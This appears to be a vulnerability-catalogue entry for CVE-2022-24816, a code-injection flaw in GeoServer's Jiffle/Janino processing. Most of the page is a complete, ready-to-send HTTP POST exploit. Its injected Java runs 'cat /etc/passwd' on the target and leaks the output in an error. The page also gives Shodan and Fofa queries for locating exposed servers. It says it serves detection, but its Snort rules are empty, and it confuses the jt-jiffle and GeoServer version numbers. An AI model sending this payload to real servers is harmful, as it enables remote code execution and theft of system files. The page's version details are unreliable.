🔙 목록으로 돌아가기

CVE-2022-24816: GeoServer <1.2.2 - Remote Code Execution

TitleGeoServer <1.2.2 - Remote Code Execution
Authormukundbhuva
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
Remediation1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z.jar from the classpath.
CVSS Score9.8
EPSS Score0.93714
CVE IDCVE-2022-24816
CWE IDCWE-94
Shodan Query/geoserver/
Fofa Queryapp="GeoServer"app="geoserver"
Tags cve cve2022 geoserver rce geosolutionsgroup kev vkev vuln

🔍 Vulnerability Description

Programs run on GeoServer before 1.2.2 which use jt-jiffle and allow Jiffle script to be provided via network request are susceptible to remote code execution. The Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects downstream GeoServer 1.1.22.

🌐 HTTP Request

POST /geoserver/wms HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 1980
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>

  <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">

    <ows:Identifier>ras:Jiffle</ows:Identifier>

    <wps:DataInputs>

      <wps:Input>

        <ows:Identifier>coverage</ows:Identifier>

        <wps:Data>

          <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>

        </wps:Data>

      </wps:Input>

      <wps:Input>

        <ows:Identifier>script</ows:Identifier>

        <wps:Data>

          <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>

        </wps:Data>

      </wps:Input>

      <wps:Input>

        <ows:Identifier>outputType</ows:Identifier>

        <wps:Data>

          <wps:LiteralData>DOUBLE</wps:LiteralData>

        </wps:Data>

      </wps:Input>

    </wps:DataInputs>

    <wps:ResponseForm>

      <wps:RawDataOutput mimeType="image/tiff">

        <ows:Identifier>result</ows:Identifier>

      </wps:RawDataOutput>

    </wps:ResponseForm>

  </wps:Execute>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24816.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24816.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A